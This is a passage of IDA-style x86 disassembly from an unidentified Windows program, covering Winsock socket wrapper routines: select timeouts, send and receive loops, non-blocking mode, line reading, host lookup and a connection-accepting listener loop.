pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7EE: ; CODE XREF: sub_41A7D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A805
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A805: ; CODE XREF: sub_41A7D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A881
call sub_40196A
test al, al
jz short loc_41A874
mov edi, dword_511C94
loc_41A81E: ; CODE XREF: sub_41A7D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi ; select
test eax, eax
jz short loc_41A86B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41A881
loc_41A86B: ; CODE XREF: sub_41A7D0+84j
call sub_40196A
test al, al
jnz short loc_41A81E
loc_41A874: ; CODE XREF: sub_41A7D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A881: ; CODE XREF: sub_41A7D0+3Dj
; sub_41A7D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A8A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A8B6
; ---------------------------------------------------------------------------
loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j
mov eax, [esi+806h]
push eax
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A8D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_402108
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A7D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A960 proc near ; CODE XREF: sub_402108j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A990 proc near ; CODE XREF: sub_40196Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B4F
retn 0Ch
sub_41A990 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AB24
mov al, [esi+80Bh]
test al, al
jz loc_41AB24
mov edi, dword_5118AC
call edi
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41AABC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41AABC
call sub_40196A
test al, al
jz loc_41AABC
loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi
sub eax, ebp
cmp eax, ebx
ja loc_41AB24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
call near ptr 71AB2DC0h
nop
test eax, eax
jz short loc_41AAAF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_41AB24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41AABC
loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj
call sub_40196A
test al, al
jnz loc_41AA1B
loc_41AABC: ; CODE XREF: sub_41A9C0+39j
; sub_41A9C0+48j ...
call sub_40196A
test al, al
jz short loc_41AB24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
nop
call near ptr 71AB615Ah
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41AAF1
mov [ecx], eax
loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AB09
test eax, eax
jz short loc_41AB09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AB09: ; CODE XREF: sub_41A9C0+134j
; sub_41A9C0+138j
nop
call near ptr 71AB94DCh
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AB24: ; CODE XREF: sub_41A9C0+13j
; sub_41A9C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A9C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ABA0: ; CODE XREF: ___:00401622j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41ABF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41ABF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41ABD2
mov [ecx], eax
loc_41ABD2: ; CODE XREF: ___:0041ABCEj
cmp eax, 0FFFFFFFFh
jz short loc_41ABE0
test eax, eax
jz short loc_41ABE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABE0: ; CODE XREF: ___:0041ABD5j
; ___:0041ABD9j
nop
call near ptr 71AB94DCh
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41ABF1: ; CODE XREF: ___:0041ABA9j
; ___:0041ABB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC20: ; CODE XREF: ___:004019BFj
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AC3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC3C: ; CODE XREF: ___:0041AC32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC52
loc_41AC48: ; CODE XREF: ___:0041AC8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC52: ; CODE XREF: ___:0041AC46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ACB6
mov edi, ebp
loc_41AC6B: ; CODE XREF: ___:0041ACB4j
cmp edi, ebx
jz short loc_41ACB6
cmp [esp+18h], bl
jz short loc_41ACB6
call sub_40196A
test al, al
jz short loc_41ACB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AC48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ACA1
cmp al, 0Dh
jz short loc_41ACA1
cmp al, bl
jnz short loc_41ACA9
loc_41ACA1: ; CODE XREF: ___:0041AC97j
; ___:0041AC9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ACA9: ; CODE XREF: ___:0041AC9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC6B
loc_41ACB6: ; CODE XREF: ___:0041AC67j
; ___:0041AC6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD00: ; CODE XREF: ___:004021A3j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40196A
test al, al
jnz short loc_41AD1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD1C: ; CODE XREF: ___:0041AD12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AD32
loc_41AD28: ; CODE XREF: ___:0041AD6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: ___:0041AD26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AD9D
mov edi, ebp
loc_41AD4B: ; CODE XREF: ___:0041AD9Bj
cmp edi, ebx
jz short loc_41AD9D
cmp [esp+18h], bl
jz short loc_41AD9D
call sub_40196A
test al, al
jz short loc_41AD9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_40196F
test al, al
jz short loc_41AD28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AD7D
cmp al, bl
jnz short loc_41AD90
loc_41AD7D: ; CODE XREF: ___:0041AD77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AD8A
mov [esi+ebp-1], bl
jmp short loc_41AD8C
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: ___:0041AD82j
mov [edi], bl
loc_41AD8C: ; CODE XREF: ___:0041AD88j
mov [esp+18h], bl
loc_41AD90: ; CODE XREF: ___:0041AD7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AD4B
loc_41AD9D: ; CODE XREF: ___:0041AD47j
; ___:0041AD4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ADE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41ADF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ADF2: ; CODE XREF: ___:0041ADEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE03: ; CODE XREF: ___:0041ADFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
call near ptr 71AB951Eh
nop
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AE30 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41AE42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE42: ; CODE XREF: sub_41AE30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AE53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AE53: ; CODE XREF: sub_41AE30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AE30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE80: ; CODE XREF: ___:00401C53j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41AEBF
cmp eax, 0FFFFFFFFh
jz short loc_41AEB5
cmp [esi+80Bh], cl
jz short loc_41AEB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEB5: ; CODE XREF: ___:0041AE9Ej
; ___:0041AEA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEBF: ; CODE XREF: ___:0041AE99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41AEF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEF5: ; CODE XREF: ___:0041AEE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AF50: ; CODE XREF: ___:004016EFj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AF6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AF6D: ; CODE XREF: ___:0041AF61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AFA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AFA9: ; CODE XREF: ___:0041AF9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AFF0: ; CODE XREF: ___:00401744j
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
nop
call near ptr 77C47A90h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_4018CAj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41B090
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
nop
call near ptr 71AB4519h
retn 4
; ---------------------------------------------------------------------------
loc_41B090: ; CODE XREF: sub_41B060+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
nop
call near ptr 71AB4519h
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B0E0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C49
mov dword ptr [esi], offset off_43F0C0
mov eax, esi
pop esi
retn
sub_41B0E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40187A
test [esp+4+arg_0], 1
jz short loc_41B128
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B128: ; CODE XREF: sub_41B110+Dj
mov eax, esi
pop esi
retn 4
sub_41B110 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B140 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43F0C0
add ecx, 4
jmp sub_401FE6
sub_41B140 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B160 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
push esi
push edi
call sub_40196A
test al, al
jnz short loc_41B172
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B172: ; CODE XREF: sub_41B160+9j
mov esi, [esp+8+arg_0]
push esi
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41B1C5
push esi
call near ptr 71AB4FD4h
nop
mov edi, eax
test edi, edi
jnz short loc_41B197
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B197: ; CODE XREF: sub_41B160+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B1AC
loc_41B1A1: ; CODE XREF: sub_41B160+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B1A1
loc_41B1AC: ; CODE XREF: sub_41B160+3Fj
call sub_401F0A
dec esi
push esi
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B1C5: ; CODE XREF: sub_41B160+20j
pop edi
pop esi
retn 4
sub_41B160 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B1F0: ; CODE XREF: ___:004020B3j
push 0FFFFFFFFh
push offset loc_43C007
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40196A
test al, al
jnz short loc_41B22F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401870
jmp loc_41B3DB
; ---------------------------------------------------------------------------
loc_41B22F: ; CODE XREF: ___:0041B218j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401870
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017EE
test eax, eax
push offset byte_448F30
jnz short loc_41B26C
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B3CE
; ---------------------------------------------------------------------------
loc_41B26C: ; CODE XREF: ___:0041B256j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_448F30
jnz short loc_41B292
mov esi, [esp+58h]
mov ecx, esi
call sub_401870
mov [esp+0Ch], edi
jmp loc_41B3CE
; ---------------------------------------------------------------------------
loc_41B292: ; CODE XREF: ___:0041B27Cj
lea ecx, [esp+18h]
call sub_401870
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017EE
push eax
call sub_4382C2
; ---------------------------------------------------------------------------
cmp eax, ebx
jz short loc_41B2D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov [esp+0Ch], edi
jmp loc_41B3C0
; ---------------------------------------------------------------------------
loc_41B2D6: ; CODE XREF: ___:0041B2BBj
mov edi, [esp+10h]
mov esi, offset dword_4447F8
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B2E4: ; CODE XREF: ___:0041B302j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B308
cmp cl, bl
jz short loc_41B304
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B308
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B2E4
loc_41B304: ; CODE XREF: ___:0041B2EEj
xor eax, eax
jmp short loc_41B30D
; ---------------------------------------------------------------------------
loc_41B308: ; CODE XREF: ___:0041B2EAj
; ___:0041B2F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B30D: ; CODE XREF: ___:0041B306j
cmp eax, ebx
jz short loc_41B37B
push ebp
loc_41B312: ; CODE XREF: ___:0041B365j
; ___:0041B369j
nop
call near ptr 27F0C4Bh
and eax, 0Fh
cmp al, 8
jnz short loc_41B326
cmp word ptr [edi+8], 0Fh
jz short loc_41B36B
loc_41B326: ; CODE XREF: ___:0041B31Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B332
mov edi, ebp
loc_41B332: ; CODE XREF: ___:0041B32Ej
mov eax, [edi+4]
mov esi, offset dword_4447F8
loc_41B33A: ; CODE XREF: ___:0041B358j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B35E
cmp cl, bl
jz short loc_41B35A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B35E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B33A
loc_41B35A: ; CODE XREF: ___:0041B344j
xor eax, eax
jmp short loc_41B363
; ---------------------------------------------------------------------------
loc_41B35E: ; CODE XREF: ___:0041B340j
; ___:0041B34Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B363: ; CODE XREF: ___:0041B35Cj
cmp eax, ebx
jnz short loc_41B312
mov edi, ebp
jmp short loc_41B312
; ---------------------------------------------------------------------------
loc_41B36B: ; CODE XREF: ___:0041B324j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015E1
pop ebp
jmp short loc_41B388
; ---------------------------------------------------------------------------
loc_41B37B: ; CODE XREF: ___:0041B30Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015E1
loc_41B388: ; CODE XREF: ___:0041B379j
push offset byte_448F30
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B3A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015E1
loc_41B3A8: ; CODE XREF: ___:0041B398j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014D3
mov dword ptr [esp+0Ch], 1
loc_41B3C0: ; CODE XREF: ___:0041B2D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B3CE: ; CODE XREF: ___:0041B267j
; ___:0041B28Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B3DB: ; CODE XREF: ___:0041B22Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B490: ; CODE XREF: ___:00402153j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov dword ptr [esi], offset off_43F0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE0
test [esp+4+arg_0], 1
jz short loc_41B4E8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B4D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B500 proc near ; CODE XREF: sub_401BE0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B500
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B500 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B570: ; CODE XREF: ___:00401D52j
push esi
mov esi, ecx
call sub_401E88
push 0
lea ecx, [esi+15h]
call sub_401C49
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43F0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B5B0 proc near ; CODE XREF: sub_401686j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B6C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B6C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401492
mov ebp, dword_5118D8
test al, al
jnz short loc_41B613
loc_41B5E9: ; CODE XREF: sub_41B5B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B6AF
mov al, byte_4E8E44
test al, al
jz short loc_41B613
push 7D0h
call ebp
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401492
test al, al
jz short loc_41B5E9
loc_41B613: ; CODE XREF: sub_41B5B0+37j
; sub_41B5B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B6AF
loc_41B61E: ; CODE XREF: sub_41B5B0+F9j
mov al, byte_4E8E44
test al, al
jz loc_41B6AF
test esi, esi
jnz short loc_41B64E
push 80Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_41B64A
push esi
mov ecx, eax
call sub_401C49
jmp short loc_41B64C
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej
xor eax, eax
loc_41B64C: ; CODE XREF: sub_41B5B0+98j
mov esi, eax
loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B95
test al, al
jnz short loc_41B667
push 7D0h
call ebp
jmp short loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B667: ; CODE XREF: sub_41B5B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_4018A2
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B6A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j
; sub_41B5B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B61E
loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej
; sub_41B5B0+68j ...
mov ecx, ebx
call sub_4014E7
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj
; sub_41B5B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B5B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B720: ; CODE XREF: ___:00401C35j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
